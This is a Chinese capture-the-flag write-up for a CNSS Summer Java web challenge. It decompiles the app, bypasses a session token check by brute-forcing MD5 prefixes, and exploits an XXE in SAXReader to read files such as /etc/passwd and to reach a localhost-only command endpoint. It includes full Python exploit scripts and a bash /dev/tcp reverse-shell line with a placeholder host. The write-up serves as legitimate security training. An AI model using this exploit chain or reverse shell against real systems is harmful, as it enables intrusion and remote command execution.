一道来自CNSS Summer的java题
笨人也是最近才刚刚开始学习java,所以写得比较菜。而且说是题解,但是因为自己没有vps的原因,自己也做不完后面的内容
题目与靶机
题目提供了summer.jar附件,打开靶机页面显示404 Not Found
对于jar包,我们可以使用jadx
对其进行反编译:
题目的提示为:
- XXE
- Revese Shell(反弹shell)
查看源代码
查看源代码:
Controller
发现Controller有两个主要Controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| @RequestMapping({"/cnss"}) @Controller
public class CommandController { private static final Logger log = LoggerFactory.getLogger(CommandController.class); @Autowired private CommandFilterConfig config;
@RequestMapping({"/doCmd"}) @ResponseBody public void doCmd(@RequestParam String cmd, HttpServletRequest request) throws IOException { if (cmd != null) { for (String str : this.config.getBlacklist()) { if (cmd.contains(str)) { return; } } log.info("cmd: {}", cmd); try { new ProcessBuilder("/bin/sh", "-c", cmd).start().waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } } }
|
分析下来CommandController
其实是我们通过访问/cnss/doCmd?cmd=
来进行命令执行
另外一个Controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.cnss.summer.controller;
import com.cnss.summer.entity.LoginParam; import com.cnss.summer.entity.ParseParam; import com.cnss.summer.entity.ResponseEntity; import java.io.StringReader; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Objects; import java.util.UUID; import javax.servlet.http.HttpServletRequest; import javax.validation.Valid; import javax.validation.constraints.NotEmpty; import javax.validation.constraints.NotNull; import org.dom4j.p006io.SAXReader; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.DigestUtils; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;
@RequestMapping({"/cnss/summer"}) @RestController
public class HelloController { private static final Logger log = LoggerFactory.getLogger(HelloController.class);
@RequestMapping({"/login"}) public ResponseEntity login(@NotNull @Valid @RequestBody LoginParam credentials, HttpServletRequest request) { String uuid = UUID.randomUUID().toString(); log.info("uuid: {}", uuid); String uuid2 = DigestUtils.md5DigestAsHex(uuid.getBytes(StandardCharsets.UTF_8)); request.getSession().setAttribute("username", credentials.getUsername()); request.getSession().setAttribute("token", uuid2); request.getSession().setAttribute("timestamp", Long.valueOf(System.currentTimeMillis())); HashMap<String, String> map = new HashMap<>(); map.put("token", uuid2); return new ResponseEntity("200", "Login success!", map); }
@RequestMapping({"/parse"}) public ResponseEntity parse(@NotNull @RequestBody ParseParam payload, @RequestParam("nammmmme") @NotEmpty @Valid String username, HttpServletRequest request) throws Exception { String username1 = (String) request.getSession().getAttribute("username"); if (!Objects.equals(username, username1) || !Objects.equals(payload.getUsername(), username1)) { throw new Exception(); } return new ResponseEntity("200", "Parse success!", new SAXReader().read(new StringReader(payload.getXml())).getRootElement().getText()); } }
|
该Controller包含两个路由:
/cnss/summer/login
:
通过Post方式传入loginParam
内的东西,将其称为credentials
Param
查看loginParam:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class LoginParam { @JsonProperty("us3rname") @NotEmpty private String username; @JsonProperty("p@ssword") @NotEmpty private String password;
public LoginParam(String username, String password) { this.username = username; this.password = password; }
public LoginParam() { }
@JsonProperty("us3rname") public void setUsername(String username) { this.username = username; }
@JsonProperty("p@ssword") public void setPassword(String password) { this.password = password; } ... }
|
说明其实我们的POST参数名应该是us3rname
和p@ssword
然后获取了一个uuid,设置session内的参数(比如username, timestamp, token),然后返回了一个token的md5值
/cnss/summer/parse
:
parse路由需要使用POST
传入ParseParam
的东西,将其称为payload,还需要使用get
传入一个参数nammmmme
查看ParseParam:
1 2 3 4 5 6 7 8 9 10
| private String username; @NotEmpty private String xml;
public ParseParam(String username, String xml) { this.username = username; this.xml = xml; }
|
说明我们需要请求的参数是username和xml
然后获取到session内我们先前login
的username
参数,并进行判断:
如果session内的username参数和我们的nammmmme
不一致,或者是payload内传入的username参数与nammmmme
不一致,就会返回错误
反而会进行一个xml的获取,我们结合题目的提示xxe可以猜测到我们可以在这里进行xxe的注入
实际上,对于SAXReader
这个第三方库,是的确有存在xxe的风险的:
参考这篇文章:
java xxe
再查看
然后回过头来,先前我们在CommandController
内发现它从config处获取了blacklist,所以我们尝试去查找一个这个config
Config
在config处我们发现了:
CommandFilterConfig和ParseFilterConfig
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public class CommandFilterConfig { @Value("${config.command.allow}") private String allow; @Value("${config.command.blacklist}") private List<String> blacklist;
public void setAllow(String allow) { this.allow = allow; }
public void setBlacklist(List<String> blacklist) { this.blacklist = blacklist; }
public boolean equals(Object o) { if (o == this) { return true; } if (!(o instanceof CommandFilterConfig)) { return false; } CommandFilterConfig other = (CommandFilterConfig) o; if (!other.canEqual(this)) { return false; } Object this$allow = getAllow(); Object other$allow = other.getAllow(); if (this$allow == null) { if (other$allow != null) { return false; } } else if (!this$allow.equals(other$allow)) { return false; } Object this$blacklist = getBlacklist(); Object other$blacklist = other.getBlacklist(); return this$blacklist == null ? other$blacklist == null : this$blacklist.equals(other$blacklist); }
protected boolean canEqual(Object other) { return other instanceof CommandFilterConfig; }
public int hashCode() { Object $allow = getAllow(); int result = (1 * 59) + ($allow == null ? 43 : $allow.hashCode()); Object $blacklist = getBlacklist(); return (result * 59) + ($blacklist == null ? 43 : $blacklist.hashCode()); }
public String toString() { return "CommandFilterConfig(allow=" + getAllow() + ", blacklist=" + getBlacklist() + ")"; }
public String getAllow() { return this.allow; }
public List<String> getBlacklist() { return this.blacklist; } }
|
其实就是用系统设置内获取allow
和blacklist
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| public class ParseFilterConfig { @Value("${config.method}") private String method; @Value("${config.auth.len}") private int authLen; @Value("${config.auth.expire}") private long expire;
public void setMethod(String method) { this.method = method; }
public void setAuthLen(int authLen) { this.authLen = authLen; }
public void setExpire(long expire) { this.expire = expire; }
public boolean equals(Object o) { if (o == this) { return true; } if (!(o instanceof ParseFilterConfig)) { return false; } ParseFilterConfig other = (ParseFilterConfig) o; if (!other.canEqual(this) || getAuthLen() != other.getAuthLen() || getExpire() != other.getExpire()) { return false; } Object this$method = getMethod(); Object other$method = other.getMethod(); return this$method == null ? other$method == null : this$method.equals(other$method); }
protected boolean canEqual(Object other) { return other instanceof ParseFilterConfig; }
public int hashCode() { int result = (1 * 59) + getAuthLen(); long $expire = getExpire(); int result2 = (result * 59) + ((int) (($expire >>> 32) ^ $expire)); Object $method = getMethod(); return (result2 * 59) + ($method == null ? 43 : $method.hashCode()); }
public String toString() { return "ParseFilterConfig(method=" + getMethod() + ", authLen=" + getAuthLen() + ", expire=" + getExpire() + ")"; }
public String getMethod() { return this.method; }
public int getAuthLen() { return this.authLen; }
public long getExpire() { return this.expire; } }
|
同样地,获取参数并且设置
filter
我们还发现了一个重要的包:filter未查看,其实从包名应该可以猜出这是对我们访问时所作出的一些过滤限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.cnss.summer.filter;
import com.cnss.summer.config.CommandFilterConfig; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired;
@WebFilter(filterName = "commandFilter", urlPatterns = {"/cnss/doCmd"})
public class CommandFilter implements Filter { private static final Logger log = LoggerFactory.getLogger(CommandFilter.class); @Autowired private CommandFilterConfig config;
@Override public void init(FilterConfig filterConfig) throws ServletException { super.init(filterConfig); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if (((HttpServletRequest) servletRequest).getRemoteAddr().equals(this.config.getAllow())) { filterChain.doFilter(servletRequest, servletResponse); } }
@Override public void destroy() { super.destroy(); } }
|
应该是对于请求/doCmd
时做出的限制,其实就是查看请求的内容是否符合规范(?)
上一行当然是废话…
其实是对于访问地址做出的限制:
1 2
| 访问的地址是否与this.config.getAllow()符合 其实就是${config.command.allow}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String token; HttpServletRequest request = (HttpServletRequest) servletRequest; if (Objects.equals(request.getMethod(), this.config.getMethod()) && (token = (String) request.getSession().getAttribute("token")) != null) { long timestamp = ((Long) request.getSession().getAttribute("timestamp")).longValue(); long now = System.currentTimeMillis(); if (now - timestamp <= this.config.getExpire()) { if (!Objects.equals(token.substring(0, this.config.getAuthLen()), DigestUtils.md5DigestAsHex(request.getHeader("UUID").getBytes(StandardCharsets.UTF_8)).substring(0, this.config.getAuthLen()))) { request.getSession().invalidate(); return; } request.getSession().setAttribute("timestamp", Long.valueOf(now)); filterChain.doFilter(servletRequest, servletResponse); } } }
|
这里对于我们的/Parse
做出限制:
1 2 3 4 5 6 7 8 9
| 首先我们的method要与config的method相等,并且session内的token不等于null
并且我们的session的时间戳不能过期,这个过期时间就是我们的config内的getExpire() 就是我们的${config.auth.expire}
再然后就是我们需要在Header内添加一个uuid参数,并且其md5后的substring后与token的substring后是一致的,才能够成功
这里substring的位置是开头的前x个字符,具体的话还需要我们来查看this.config.getAuthLen() 也就是${config.auth.len}
|
系统设置 application.properties
其实就是application.properties
发现application.properties
对server进行了一些限制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| server: address: 0.0.0.0 port: 5000 spring: application: name: cnss-summer config: method: SUMMMMMER auth: len: 4 expire: 5000 command: allow: 127.0.0.1 blacklist: rm, cat, tac, mv, touch, mkdir, rmdir, whoami, ls
|
服务器在本地的5000端口,请求方式为SUMMMMER
以及expire: 5000
在java时间戳(timestamp)当中应该是5秒钟的时间
还有command处,仅允许127.0.0.1访问才能够执行命令
而且还有黑名单限制,我们无法使用:
1
| rm, cat, tac, mv, touch, mkdir, rmdir, whoami, ls
|
联系到反弹shell,我们可以猜测到通过反弹shell来获取到我们的flag
而且需要通过访问本地的服务才能进行命令的执行:
xxe:
我们先前的xxe一直都是使用file:///flag
进行flag的读取,但其实xxe不仅仅只有这一个用途,它还有:
等
思路
在上文中我们得知/cnss/summer/parse
可以进行xxe,但是有以下几个限制:
1 2 3 4
| 1. parse的请求方式与config中相同,也就是SUMMMMMER 2. parse的访问必须是在session的有效期内,也就是5秒钟 3. parse时还需要添加一个UUID 请求头,并且该UUID通过md5后内容的前4与token的(其实token也是个md5值)前4项一致 4. 还需要传入username、xml,使得其与我们在get处传入的nammmmme一致
|
对于5秒钟的限制,我们仍有解决方法。解决的方法就是利用我们的python
对,写python脚本即可
由于只用考虑前4项一致,我们可以直接进行爆破即可
通过碰撞来获取我们需要的UUID,通常我们考虑的是数字的爆破即可
但是在python中的md5加密一般都是字符串,所以我们要先对int类型进行转换
Login
而我们首先需要通过/cnss/summer/login
来获取这个token:
通过python获取到session的token即可:
1 2 3 4 5 6 7 8 9 10 11 12
| import json
... if __name__ == '__main__': s = Session()
loginurl = 'http://124.221.34.13:50013/cnss/summer/login' loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) token = loginres.json()['data']['token']
|
Parse
接下来我们需要访问parse并且执行xxe:
对于parse我们需要做的准备是:
- 通过python设置SUMMMMMER请求方式
- 设置UUID请求头,并且通过爆破获得参数
- 传入参数username和xml
对于请求方式,可以通过Request
来进行设置:
1 2
| Request可以自定义请求方式,链接,header等 具体参考下图
|
对于UUID,我们需要进行md5的碰撞,先写一个md5的加密函数方便我们接下来的操作:
1 2 3 4 5
| import hashlib def md5(str): m = hashlib.md5() m.update(str.encode('utf-8')) return m.hexdigest()
|
然后写一个md5碰撞:
1 2 3 4 5
| def md5Crack(token): for i in range(1, 10000000000): if md5(str(i))[:4] == token[:4]: return i
|
1 2 3
| myuuid = md5Crack(token) print(myuuid)
|
1 2 3 4 5 6 7
| parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname' xml = '' data = { 'username' : 'us3rname', 'xml' : xml }
|
其实我们已经知道是在parse处进行xxe了,所以我们可以将xml修改一下:
1 2 3 4 5 6 7
| xml = '''<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY xxe SYSTEM "file:///"> ]> <root>&xxe;</root> '''
|
接下来设置请求头,添加我们的UUID、Content-Type等:
1 2 3 4 5 6
| headers = { 'UUID': str(myuuid), 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' }
|
最后设置并发送请求
1 2 3 4 5 6 7 8 9
| headers = { 'UUID': str(myuuid), 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' } request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers) prep = s.prepare_request(request) x = s.send(prep) print(x.json())
|
返回:
1 2
| 25994 {'code': '200', 'message': 'Parse success!', 'data': '.dockerenv\napp\nbin\nboot\ndev\netc\nfl444444g\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'}
|
为了使得好看一些:
可以修改为print(x.json()[‘data’]):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import requests from requests import Session, Request import hashlib import json
def md5(str): m = hashlib.md5() m.update(str.encode('utf-8')) return m.hexdigest()
def md5Crack(token): for i in range(1, 10000000000): if md5(str(i))[:4] == token[:4]: return i
if __name__ == '__main__': s = Session()
loginurl = 'http://124.221.34.13:50013/cnss/summer/login' loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) token = loginres.json()['data']['token']
myuuid = md5Crack(token) print(myuuid)
parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname' xml = '''<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY xxe SYSTEM "file:///"> ]> <root>&xxe;</root> ''' data = { 'username' : 'us3rname', 'xml' : xml } headers = { 'UUID': str(myuuid), 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' } request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers) prep = s.prepare_request(request) x = s.send(prep) print(x.json()) print(x.json()['data']) ''' return: 22596 {'code': '200', 'message': 'Parse success!', 'data': '.dockerenv\napp\nbin\nboot\ndev\netc\nfl444444g\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'} .dockerenv app bin boot dev etc fl444444g home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var '''
|
发现fl444444g
但是我们尝试使用file:///fl444444g
时,会返回:
1 2 3
| 22430 {'code': '500', 'message': 'Exception occurred!', 'data': None} None
|
说明该文件是我们无法通过file来进行读取的
但是我们读取/etc/passwd
的话,它是能够正常读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 38120 {'code': '200', 'message': 'Parse success!', 'data': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\ncnss:x:1000:1000:,,,:/home/cnss:/bin/bash\n'} root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin cnss:x:1000:1000:,,,:/home/cnss:/bin/bash
|
所以说我们总体思路是没有问题的,问题在于flag是不能正常读
联系到我们还有个/doCmd
没有使用
以及hint Revese Shell
所以我们应该是需要去访问/doCmd
然后进行反弹shell
操作
考虑到/doCmd
的访问方式是限制0.0.0.0
(或者127.0.0.1),端口限制在5000
所以我们可以通过xxe访问内网:
同时利用quote库使得我们的command能够正常被引用:
1 2 3 4 5 6 7
| command = '' xml = f'''<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}"> ]> <root>&xxe;</root> '''
|
只需要command处执行反弹shell即可
死于没有vps,做不了这一步T_T
1 2
| command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1'
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import requests from requests import Session, Request import hashlib import json from urllib.parse import quote
def md5(str): m = hashlib.md5() m.update(str.encode('utf-8')) return m.hexdigest()
def md5Crack(token): for i in range(1, 10000000000): if md5(str(i))[:4] == token[:4]: return i
if __name__ == '__main__': s = Session()
loginurl = 'http://124.221.34.13:50013/cnss/summer/login' loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) token = loginres.json()['data']['token']
myuuid = md5Crack(token) print(myuuid)
parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname' command = '' xml = f'''<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}"> ]> <root>&xxe;</root> ''' data = { 'username' : 'us3rname', 'xml' : xml } headers = { 'UUID': str(myuuid), 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' } request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers) prep = s.prepare_request(request) x = s.send(prep) print(x.json()) print(x.json()['data'])
|
后面就是反弹shell后的操作了
其实这是2022的原题,完整操作参考:
[CTF]2022 CNSS夏令营 Web&Reverse 复现wp - Tim厉 - 博客园 (cnblogs.com)